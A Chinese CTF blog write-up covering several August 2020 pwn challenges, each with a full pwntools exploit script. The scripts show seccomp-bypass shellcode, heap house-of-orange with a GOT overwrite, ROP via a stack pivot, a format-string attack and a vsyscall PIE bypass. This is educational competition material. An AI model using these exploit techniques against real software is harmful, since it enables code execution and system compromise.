Aug_Match 2020

0x00 前言

我终于来更新博客了,作为胖弟弟我就写几道胖题吧…

2020年在家摸鱼的暑假生活快结束了,终于要开学了,好长时间不更博客了,一直攒着一起发,再加上现在的题目网上详细解析越来越少,只能自己慢慢啃,我又啃得比较慢

最近在Netflix上看剧体验极度舒适,强推《HOOPS》一部美漫,Netflix自制的,风格很像我喜欢的R&M,恶俗气和讽刺性满满/( ̄︶ ̄)↗ 

八月混了好多比赛…大家都很辛苦我没帮上什么忙也挺难受的,还是我自己太菜了每次考点都是知识盲区,

在这我会记录并复现一些比赛时的题目,权当一个月来的学习成果,还可以搞一个每月系列(不错不错)


0x01 2020天翼杯 SafeBox

先看题目描述:Try to get the secret from SafeBox! Flag is at /home/pwn/flag

checksec,保护全开

mmap给dest赋予了7的权限,最后函数指针执行了dest。典型的shellcode。prtcl和seccomp开了沙盒。

image-20200824204011656

能调用的函数只有open和read,不能使用write,只能利用read函数读取flag,然后跟本地的flag一个字节一个字节去比较。

还有当read的fd<4时,会直接跳到0013KILL掉,就是说fd要大于等于4。所以写shellcode时open两次,第一次文件标识符是3,第二次文件标识符是4。

爆破的方法就是把单个字节的flag(rsp+index)放进al寄存器,用ascii码0x20-0x7f之间的字符(content)一个个去比较,若cmp比较结果一致则改变ZF标志寄存器,然后用jz跳转x标签处,进行死循环。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import os
context.arch = 'amd64'
elf = ELF('chall')
p = 0
def pwn(index,content):
global p #在函数内部对函数外的变量进行操作,就需要在函数内部声明其为global全局变量
p = process('./chall')
shellcode= shellcraft.open("flag") #调用open的系统调用,open("flag")
shellcode+= shellcraft.open("flag") #因为fd要大于等于4,open两次
shellcode+=''' #read(4,rsp,0x64)
xor rax, rax
push 0x64
pop rdx
mov rsi, rsp
push 4
pop rdi
syscall
x: mov rsi,rsp #由于我们往栈顶输入数据,因此此时的栈顶存放是flag的内容,将rsp的内容赋值给rsi
mov al,[rsi+'''+str(index)+'''] #[rsi+index],取出[rsi+index]的内容,即将flag一个字节一个字节取出,存放在al寄存器里,方便后面爆破flag
cmp al,'''+str(content)+''' #比较字符,与存放在al寄存器中的单个字节flag是否一致
jz x #若一致则直接进入死循环,需要ctrl+d退出,若不一致则直接返回
'''
p.sendafter("safe-execution box?\n",asm(shellcode))
p.recv(timeout = 1) #如果超过一秒就不等了
p.interactive()
p.close()
return 1
if __name__ == '__main__':
flag=""
index=0
while(1):
if '}' in flag: #读到末尾跳出循环
break
for i in range(0x20,0x7f): #content是ascii码0x20-0x7f对应的可见字符,for循环一个个试
try: #try except处理报错,flag没猜对就EOF报错跳到下面打印error
print "flag=",flag
if pwn(index,i) : #死循环得到正确值,强制退出后会返回1
flag+=chr(i) #chr()返回ascii码对应字符,加在flag后面
index+=1 #进行下一个字节爆破
break
except EOFError: #若直接返回则抛出异常
print "error"
print flag

# DASCTF{0ee3530c57fb0b9c89e7af5d32b9f521}

环境已经关了,体验很不好

现在需要爆破的题越来越多,可能pwn的精髓就在于爆破吧

0x02 SCTF Coolcode


本题考验(极强的)shellcode编写能力

拿到题目

image-20200824174318169

看起来很像堆题,但是NX没开,估计可以利用shellcode,

image-20200824174746374

漏洞真的难找….在创建堆块时,对数组下标错误的使用了有符号数,导致如果我们输入负数也可以满足

v1 <= 1这样的检测,而在数组上方保存了例如stdin\stdout\stderr、got表等这样的可利用信息。

而且这个程序并没有开启FULL RELRO所以got表可写,这样其实我们可以直接劫持got表。

沙箱绕过

程序限制了我们能用的系统调用,而并没有open函数,所以不能利用orw

但是查询系统调用号表,发现fstat这个函数对应的系统调用号5,其实就是32位程序中open的系统调用号,而汇编中存在一条指令retfq可以供我们切换到32位指令模式,其原理是一个cs寄存器,cs=0x23时表示32位模式,cs=0x33时表示64位模式,

我们只需要在进行retfq时保证此时rsp=shellcode地址,[rsp+8] = 0x23/0x33,就可以在我们想要的模式下执行shellcode。

堆和bss段可执行,所以可以将shellcode写入bss段执行。

但是还有一点在于,程序限制输入字符只能是数字和大写字母,这样输入shellcode肯定是行不通的

1
2
3
4
5
6
7
8
9
10
11
signed __int64 __fastcall sub_400B16(__int64 a1, int a2)
{
int i; // [rsp+14h] [rbp-8h]

for ( i = 0; i < a2 - 1; ++i )
{
if ( (*(_BYTE *)(i + a1) <= 47 || *(_BYTE *)(i + a1) > 57) && (*(_BYTE *)(i + a1) <= 64 || *(_BYTE *)(i + a1) > 90) )
return 1LL;
}
return 0LL;
}

所以,还要先将exit()函数的got表改为ret,以跳过输入字符的检验。

这道题我们的思路就很清晰:因为程序还限定了读取字节长度,为了方便一次性执行shellcode,我们先写入read将后面shellcode写入到bss段并执行。shellcode的内容:首先切换32位模式执行open()然后切换回64位执行read()、write()即可读取到flag


exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context.log_level = 'debug'
#p = './CoolCode'
p = remote("39.107.119.192 ", 9999)
def add(idx, content):
p.sendlineafter("choice :", '1')
p.sendlineafter("Index: ", str(idx))
p.sendafter("messages: ", content)
def show(idx):
p.sendlineafter("choice :", '2')
p.sendlineafter("Index: ", str(idx))
def free(idx):
p.sendlineafter("choice :", '3')
p.sendlineafter("Index: ", str(idx))
def exp():
read = '''
xor eax, eax
mov edi, eax
push 0x60
pop rdx
mov esi, 0x1010101
xor esi, 0x1612601
syscall
mov esp, esi
retfq
'''
open_x86 = '''
mov esp, 0x602770
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
'''
readflag = '''
push 0x33
push 0x60272e
retfq
mov rdi,0x3
mov rsi,rsp
mov rdx,0x60
xor rax,rax
syscall
mov rdi,1
mov rax,1
syscall
'''
readflag = asm(readflag, arch = 'amd64')
openflag = asm(open_x86)
add(-22, '\xc3') #exit_got->ret
add(-37, asm(read, arch = 'amd64')) #free_got ->read
#gdb.attach(p)
free(0)

payload = p64(0x602710)+p64(0x23)+openflag+readflag
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
exp()

#SCTF{LDI6Uk9PXa9e98rqFdtxHvN3qO1ZAmnBX76C5D0Ibckv4dqe}
#随机生成的flag

本题需要高超的shellcode能力,/(ㄒoㄒ)/光看就够我理解半天了

比赛时有31解,还是很有难度的

Reference:

syscall table

shellcode 的艺术


0x03 2020 CISCN nofree

国赛除了easyjsc,算是pwn1了,真的很惨网上找不到解析,只能对照大佬的exp自己慢慢分析,作为堆的小白,毫不夸张地说这一题看了一天

(╥﹏╥…)

不过还好也算是分析明白了

题目是这样的,很过分,一个添加一个编辑没了

image-20200901003905336

这就是本题难点,没有free,无法利用bins;没有show,无法泄露数据

(那我没招了,骂骂咧咧地关上了网页)

先看add函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int add()
{
int result; // eax
int idx; // [rsp+8h] [rbp-8h]
int size; // [rsp+Ch] [rbp-4h]

result = put_in_idx();//这里限制了最多建立三个索引,但是没有进行检查,所以同一索引可以重复使用
idx = result;
if ( result != -1 )
{
printf("size: ");
result = input_0();
size = result;
if ( result >= 0 && result <= 144 )//每个块一次最多申请0x90大小
{
*(_QWORD *)&byte_6020C0[16 * idx + 256] = content(result);//存放堆指针
result = size;
*(_QWORD *)&byte_6020C0[16 * idx + 264] = size;//存放size指针
}
}
return result;
}

可以看到content函数,里面并没有使用malloc(),而是使用了strdup(),也就是说malloc的堆块大小并不由你输入的size大小决定,而是你content内字符串的实际大小,而edit函数内容修改按照的是你输入的size,这就造成了堆溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
signed __int64 edit()
{
signed __int64 result; // rax
int idx; // [rsp+Ch] [rbp-4h]

result = put_in_idx();
idx = result;
if ( (_DWORD)result != -1 )
{
result = *(_QWORD *)&byte_6020C0[16 * (signed int)result + 256];
if ( result )
{
printf("content: ");
result = input(*(void **)&byte_6020C0[16 * idx + 256], *(_QWORD *)&byte_6020C0[16 * idx + 264]);
}
}
return result;
  • add功能:最多3个块,大小在0~0x90之间,用的strdup函数
  • edit功能:能编辑相应堆块,大小为add时写入的size

简单来说,add时填0x20的大小,只填充0x10的字符串,edit的时候就存在溢出漏洞

所以整体思路是先用house of orange,把top chunk扔到fastbin,然后利用堆溢出改fd指向bss上chunk array的地方,通过修改堆指针,来将strdup的got表改为printf,然后利用格式化字符串漏洞泄露出libc基址,最后同样的方法将strdup改为system函数,触发漏洞即可

为了方便我在exp作了注释(懒),就不再过多赘述

前面做的工作就是为了接近这三个指针,用来修改strdup的got表

image-20200901012734532

在格式化字符串找偏移时不太顺利,主要还是动调的问题,因为函数比较多,要对照IDA的代码看,多用s步入,才能调出来,还要注意64位的六个寄存器传参的问题。

image-20200901011317070

image-20200901011403277

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#coding:utf8
from pwn import *
#context.log_level = 'debug'
debug = 1
elf = ELF('nofree')
if debug:
sh = process('./nofree')
libc = elf.libc
else:
sh = remote('101.200.53.148', 12301)
libc = ELF('libc-2.27-64.so')

def add(idx,size,data):
sh.sendlineafter('choice>> ',str(1))
sh.recvuntil('idx: ')
sh.sendline(str(idx))
sh.recvuntil('size: ')
sh.sendline(str(size))
sh.recvuntil('content: ')
sh.send(str(data))

def edit(idx,data):
sh.sendlineafter('choice>> ',str(2))
sh.recvuntil('idx: ')
sh.sendline(str(idx))
sh.recvuntil('content: ')
sh.send(str(data))
for i in range(24):
add(0,0x90,'a'*0x90)
add(0,0x90,'a')
edit(0,'\x00'*0x18+p64(0xe1))#修改top chunk的size,注意对齐内存页
add(0,0x90,'a'*0x30)
add(1,0x90,'a'*0x88+p64(0x81))#house of orange
edit(0,'b'*0x30+p64(0)+p64(0x81)+p64(0x602140))#fastbin attack:fd->0x602140
add(0,0x90,'a'*0x70)
add(2,0x90,'c'*0x70+p64(0)*3+p64(0x81))#addr:0x602140
edit(2,'c'*0x70+p64(0x602068)+p64(0x90))#修改idx0的指针为strdup的got表
edit(0,p64(0x400700))#改为printf
#gdb.attach(sh)
add(0,0x10,'%17$p')#fmtstr

libc_base = int(sh.recv(14),16) - libc.sym['__libc_start_main'] - 240
#0x20840
print hex(libc_base)
edit(2,'c'*0x70+p64(elf.got['strdup'])+p64(0x90))
edit(0,p64(libc_base+libc.symbols['system']))
add(0,0x10,'/bin/sh\x00')
sh.interactive()

onegaget应该也可以没试过,太晚了歇了歇了…

Reference:

house of orange

堆溢出-House of orange 学习笔记

0x04 2020强网杯 babymessage

说到这题,比赛一百多解,但始终卡在一个点,当Nu1l 的wp(纯exp)出来之后我还是想不明白,就这样调啊调啊

终于!上了一个厕所回来茅塞顿开,

题目除了NX外,无其他保护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__int64 work()
{
signed int v1; // [rsp+Ch] [rbp-4h]

buf = (char *)malloc(0x100uLL);
v1 = mm + 16;//可读入的长度,由mm决定
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("choice: ");
__isoc99_scanf((__int64)"%d", (__int64)&mm)//mm即option,存入内存
if ( mm != 1 )
break;
leave_name();//输入名字,存到0x6010D0位置
}
if ( mm != 2 )
break;
if ( v1 > 256 )
v1 = 256;//长度
leave_message(v1);//输入信息,堆块指针存入0x6010C8处
}
if ( mm != 3 )
break;
show(v1);//打印
}
if ( mm == 4 )
break;//退出
puts("invalid choice");
}
return 0LL;
}

一个姓名,信息和打印功能的程序,类似堆题但没有堆的可利用点

简单看一下option,buf,name在内存的分布

image-20200827005910158

找啊找,程序似乎写的很好,没什么利用

但是依旧存在一个小bug

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall leave_message(unsigned int a1)
{
int v1; // ST14_4
__int64 v3; // [rsp+18h] [rbp-8h]

puts("message: ");
v1 = read(0, &v3, a1);
strncpy(buf, (const char *)&v3, v1);
buf[v1] = 0;
puts("done!\n");
return 0LL;
}

进入leave_message函数,发现v3在rbp-8h的位置,可读入初始长度为16,存在栈溢出

但溢出距离太短,只够覆盖rbp,以至于栈迁移都不够。

但是想一想,a1是可读入长度,若想增加长度必然要改option,而option在内存中的位置很安全,没有函数可以修改到它,且函数限定了option只能为1,2,3,4,并不能改到很大的值,因此这条路是走不通的

显然这题只能覆盖rbp,但是把改到哪是一个问题,比赛时我就被卡到这个死胡同了,实在想不通便去做Siri了

那本题的关键在哪呢?在这

1
2
3
if ( v1 > 256 )
v1 = 256;
leave_message(v1);

程序在执行leave_message之前,先判断了一次v1的大小(mm+16),如果大于256,则把它赋值为256

如果程序有了判断条件,那么一定存在与v1相关的指令,虽然我很不想,但是必须采取终极解决方案了——看汇编

所以覆盖rbp,使得rbp-4的值我们可控即可,这就是本题最核心的点。

改到哪呢,name我们可写,将rbp改到它高4个字节处,使得name>256,接下面就是简单的ROP了

贴上WFG胜羽战队的exp,个人感觉比某些大佬战队exp写的通俗易懂一些…

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#coding:UTF-8
from pwn import *
context.log_level = 'debug'
#p = remote('123.56.170.202',21342)
elf = ELF('./babymessage')
p = elf.process()
libc = ELF('./libc-2.27.so')
work_addr = elf.symbols['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
rdi_ret = 0x400ac3
payload = 'A'*0x8+ p64(0x6010D4)
p.sendlineafter('choice:','1')
p.sendafter('name:',p32(0xf000050))
p.sendlineafter('choice:','2')
p.sendafter('message:',payload)
#gdb.attach(p)
p.sendlineafter('choice:','2')
payload_2 = 'A'*0x8
payload_2 += p64(0x6010D4)
payload_2 += p64(rdi_ret)
payload_2 += p64(puts_got)
payload_2 += p64(puts_plt)
payload_2 += p64(work_addr)
p.sendlineafter('message:',payload_2)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = puts_addr- libc.sym['puts']
log.info('libc_base:'+hex(libc_base))
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
p.sendlineafter('choice:','1')
p.sendafter('name:',p32(0xf000050))
p.sendlineafter('choice:','2')
p.sendafter('message:',payload)
p.sendlineafter('choice:','2')
payload = 'A' * 0x10
payload += p64(libc_base+0x4f365)
p.sendafter('message:',payload)
p.interactive()

可惜啊可惜,感觉这题应该是可以做的

0x05 2020 强网杯 Siri

这题考点是格式化字符串漏洞,本以为难点是计算偏移,没想到比赛时我卡在了这样一个奇怪的地方,又没做出来。。原因是数太大了,无法使用fmtstr_payload写地址

先看题,打开main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s1; // [rsp+0h] [rbp-110h]
char v5; // [rsp+100h] [rbp-10h]
unsigned __int64 v6; // [rsp+108h] [rbp-8h]

v6 = __readfsqword(0x28u);
memset(&s1, 0, 0x100uLL);
v5 = 0;
sub_11C5();
printf(">>> ", a2);
while ( read(0, &s1, 0x100uLL) )
{
if ( !strncmp(&s1, "Hey Siri!", 9uLL) )
{
puts(">>> What Can I do for you?");
printf(">>> ", "Hey Siri!");
read(0, &s1, 0x100uLL);
if ( !(unsigned int)sub_1326(&s1) && !(unsigned int)sub_12E4(&s1) && !(unsigned int)sub_1212(&s1) )
puts(">>> Sorry, I can't understand.");
}
memset(&s1, 0, 0x100uLL);
printf(">>> ", 0LL);
}
return 0LL;
}

本题保护全开,关键函数在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
signed __int64 __fastcall sub_1212(const char *a1)
{
char *v2; // [rsp+18h] [rbp-128h]
char s; // [rsp+20h] [rbp-120h]
unsigned __int64 v4; // [rsp+138h] [rbp-8h]

v4 = __readfsqword(0x28u);
v2 = strstr(a1, "Remind me to ");
if ( !v2 )
return 0LL;
memset(&s, 0, 0x110uLL);
sprintf(&s, ">>> OK, I'll remind you to %s", v2 + 13);
printf(&s);
puts(&::s);
return 1LL;
}

它是将Remind me to后的字符放在s[rbp-120h]处,然后一个格式化字符串漏洞,只有这一个利用点

我的思路是泄露libc_start函数和栈的地址,从而泄露出libc基址,然后将返回地址改为one_gadget

exp

这是我比赛时的exp,由于pwntools的fmt_payload没法用,我又在github上找了一个脚本FmtPayload

但是还是失败了,但是我感觉思路应该没问题。。费解,看了Nu1l和星盟的wp,没解析看不懂。。

网上到现在还没有出强网杯pwn部分的wp,就先放着,等之后出了wp再回头解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#coding=utf-8
from pwn import *
import FmtPayload
elf = ELF('./Siri')
sh = process('./Siri')
#sh = remote('114.116.54.89',10005)
context.log_level = 'debug'
libc = ELF('libc.so.6')
payload = 'Remind me to %46$pAAAA%83$p'
sh.recvuntil('>>>')
sh.sendline('Hey Siri!')
sh.recvuntil('you?')
sh.sendline(payload)
print payload
sh.recvuntil("to ")
stack = int(sh.recv(14).split('\n')[0],16)
print 'stack:' + hex(stack)
sh.recvuntil('AAAA')
libc_start240 = int(sh.recv(16).split('\n')[0],16)
print 'libc_start240:' + hex(libc_start240)
libc_base = libc_start240 - 240 -libc.sym['__libc_start_main']
print 'libc_base:' + hex(libc_base)
one_gadget = libc_base + 0x10a45c
#gdb.attach(sh)
tar = stack - 0x118
print hex(tar)
sh.recvuntil('>>>')
sh.sendline('Hey Siri!')
sh.recvuntil('you?')
payload2 = FmtPayload.fmt_payload(10,tar,one_gadget,n=3,written=30,arch='amd64',typex='byte')

#payload2 = fmtstr_payload(10,{stack-0x118:one_gadget})
sh.sendline('Remind me to '+payload2)

sh.interactive()

0x06 DASCTF 八月赛 magic_number

一道100分的题没整出来,吐了

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+0h] [rbp-30h]
int v5; // [rsp+2Ch] [rbp-4h]

sub_9A0();
v5 = rand();
if ( v5 == 0x12345678 )
system("/bin/sh");
puts("Your Input :");
read(0, &buf, 0x100uLL);
return 0LL;
}

就这几行代码,而且还有后门,汇编更简单就不贴了

但是难点在于除了canary以外,保护全开,这就意味着shellcode不能用,got表不可修改,最要命的是地址随机化。

如果v5==0x12345678,那么执行system,但是随机数是在read之前赋给v5的,且函数只执行一次,实在想不出办法。

终于大佬赛后发了exp,我才学到了一个新的技巧来绕过PIE——利用vsyscall

在多次运行程序时你会发现,当所有地址都在随机变化时,最下面有个vsyscall段的地址一直稳定在0xffffffffff600000-0xffffffffff601000,那它到底是什么呢?

对于某些系统调用,如gettimeofday来说,由于他们经常被调用,但是系统调用是用户态到内核态到用户态的一个过程,开销很大,如果每次被调用都要这么来回折腾一遍,就会变成一个累赘。因此系统把几个常用的无参内核调用从内核中映射到用户空间中,这就是vsyscall.

动态调试,发现system(‘/bin/sh’)的地址在这里

image-20200826003915368

而在这里,你会发现一个很接近的地址,只是最低字节不相同,因此可以通过vsyscall滑动绕过,覆盖这里地址,以劫持到ip。

image-20200826004057378


exp

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p=process('magic_number')
#p=remote('183.129.189.60',10010)
elf=ELF('magic_number')
sleep(5)
payload = 'B'*0x38+p64(0xFFFFFFFFFF600400)*4+'\xA8'
#gdb.attach(p)
p.send(payload)
#pause()
p.interactive()

计算机什么边角都能利用啊,学习了学习了

Reference:

pwn中vsyscall的利用

x86 架构下 Linux 的系统调用与 vsyscall, vDSO


0x07 小结

总结一下,我好菜😂

这都是我比赛没想出来的题目,做出来的题目也都比较水,各位师傅都有wp,我就不写了

钓鱼杯和gactf的胖题我没怎么看,等抽空也给补充上去

冲冲冲!